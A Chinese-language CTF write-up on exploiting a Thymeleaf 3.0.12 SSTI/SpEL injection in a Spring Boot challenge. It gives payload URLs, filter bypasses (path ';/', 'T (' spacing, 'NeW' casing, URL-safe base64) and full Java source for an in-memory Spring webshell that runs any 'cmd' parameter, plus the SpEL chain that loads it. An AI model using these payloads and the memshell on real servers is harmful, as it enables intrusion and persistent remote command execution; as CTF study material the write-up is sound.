这周参加了网鼎玄武组的CTF,有道题挺有意思。这道题目给了一个findIT.jar 附件,然后还提示了机器不出网。主要考察了以下几个方面:
1、thymeleaf SSTI 漏洞原理
2、thymeleaf SSTI漏洞修复绕过技巧
3、Spring内存马编写
4、Apache Tomcat 9 url 包含特殊字符,例如 /、[]处理与替代
5、调试jar 文件
打开后发现这个是经典的springboot 项目,里面的IndexController还是比较清晰的。
开始以为是/path路由下的Fragment 可控下存在SPEL注入,但是用了@ResponseBody 注解,所以这里不存在漏洞。往下看/doc/{data}这个路由没有使用@ResponseBody 进行注解,因此即使没有return 情况下也是可注入的。但由于没有返回提示信息,因此这道题给了jar包让我们调试,不然难度又上一个台阶。
知道了漏洞触发点,接下来开始本地运行下看看情况。
http://127.0.0.1:8080/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
发现控制台报了下面的错误, View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.
原来这道题的应用依赖thymeleaf 3.0.12 版本,查阅了下官方文档,这个版本做了一下安全提升,主要有以下两个方面。
尤其是第2个,描述了当从URL中获取视图名称时如果有fragment表达式会避免执行。(具体代码分析可参考@panda 师傅博客 https://www.cnpanda.net/sec/1063.html)里面提到了2个绕过技巧,分别是/path;/payload 和//path/payload ,这里我发现了也可以用/path/;/payload(和shiro权限绕过漏洞很相似)。因此上面的payload就变为
http://127.0.0.1:8080/doc/;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::.x
然后又抛出了新的异常
Invalid template name specification
我之前分析thymeleaf Fragment 注入的文章 https://xz.aliyun.com/t/9826 里有提到viewName和Fragment ,由于这道题里没有return 这两个中的任何一个,所以我们要补全Fragment—即:
${T(java.lang.Runtime).getRuntime().exec("id")}::main.x
这回又又报了新的错误
因此涉及到T这个关键字绕过,参考了三梦师傅提的issue(https://github.com/thymeleaf/thymeleaf-spring/issues/256) ,在T后面添加空格%20。因此新的paylaod 就变成了
http://127.0.0.1:8080/doc/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22id%22)%7D__::main.x
页面上显示500 错误但从console 打印的日志可以看出来的确已经执行成功了。
这里参考了 spring-cloud-function 的一些memshell的payload。参考了 LandGrey 师傅的文章 https://www.anquanke.com/post/id/198886 使用registerMapping注册了一个 requestMapping,参考c0ny1 师傅的文章https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions 里面的 SpringRequestMappingMemshell 代码,但由于这道题里面并没有用Spring cloud gateway 组件,所以原代码中利用org.springframework.web.reactive.HandlerMapping 来注册registerHandlerMethod就会报错找不到对应的类,于是改造了下SpringRequestMappingMemshell代码来适配最基础通用的Spring Memshell。
使用registerMapping 注册路径为"/*"的RequestMapping,看下registerMapping 的原型函数
public void registerMapping(T mapping, Object handler, Method method) { if (this.logger.isTraceEnabled()) { this.logger.trace("Register \"" + mapping + "\" to " + method.toGenericString()); } this.mappingRegistry.register(mapping, handler, method); }
因此只要把我们编写的恶意方法executeCommand注册进去就可以了。
registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand);
最后改造后的代码如下:
public class SpringRequestMappingMemshell { public static String doInject(Object requestMappingHandlerMapping) { String msg = "inject-start"; try { Method registerMapping = requestMappingHandlerMapping.getClass().getMethod("registerMapping", Object.class, Object.class, Method.class); registerMapping.setAccessible(true); Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class); PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition("/*"); RequestMethodsRequestCondition methodsRequestCondition = new RequestMethodsRequestCondition(); RequestMappingInfo requestMappingInfo = new RequestMappingInfo(patternsRequestCondition, methodsRequestCondition, null, null, null, null, null); registerMapping.invoke(requestMappingHandlerMapping, requestMappingInfo, new SpringRequestMappingMemshell(), executeCommand); msg = "inject-success"; }catch (Exception e){ e.printStackTrace(); msg = "inject-error"; } return msg; } public ResponseEntity executeCommand(@RequestParam(value = "cmd") String cmd) throws IOException { String execResult = new Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); return new ResponseEntity(execResult, HttpStatus.OK); }
这部分参考LandGrey 师傅的技巧,使用org.springframework.cglib.core.ReflectUtils#defineClass方法,只要传入 类名、类的字节码字节数组 和 类加载器就可以加载恶意类。
//这里为什么用decodeFromUrlSafeString 下面会写到 T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),new javax.management.loading.MLet(new java.net.URL[0],T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))
上一步中既然已经写出了比较完整的payload,但是发现依然不能用,由于题目里是get 请求,会发现tomcat 会报400错误和404错误。
404错误:payload 包含了/ ,tomcat 会认为这是一个路径关键字,会找对应的路由,找不到就会报404
400:payload 中包含[] 等特殊字符
因此只能去处理上述的特殊字符,由于SpringRequestMappingMemshell 编译后的class 文件经过base64后里面可能会有/ 这个字符,因此要使用org.springframework.util.Base64Utils.encodeToUrlSafeString 先将SpringRequestMappingMemshell.class 处理成能够用在url 传输的base64编码。然后再使用org.springframework.util.Base64Utils.decodeFromUrlSafeString 进行解码操作。
另外由于不能使用java.net.URL[0] ,因此我这里就用java.net.URL("http","127.0.0.1","1.txt")进行了替代,这个随便写就行不影响。
通过前面四步已经是比较完整的payload 了,但是还是继续报Invalid template name specification 错误,通过调试jar后最终发现还是thymeleaf 3.0.12 containsSpELInstantiationOrStatic 这个函数进行了过滤所导致的,让你不能使用new 这个关键字。因此我使用了NeW 大小写进行了绕过。
__${T (org.springframework.cglib.core.ReflectUtils).defineClass("SpringRequestMappingMemshell",T (org.springframework.util.Base64Utils).decodeFromUrlSafeString("SpringRequestMappingMemshell.class的UrlSafebase64编码"),nEw javax.management.loading.MLet(NeW java.net.URL("http","127.0.0.1","1.txt"),T (java.lang.Thread).currentThread().getContextClassLoader())).doInject(T (org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT",0).getBean(T (Class).forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping")))}__::main.x
网鼎的这道题小巧而不简单,考察的知识点还是挺多的。我又要要去学习Java 了~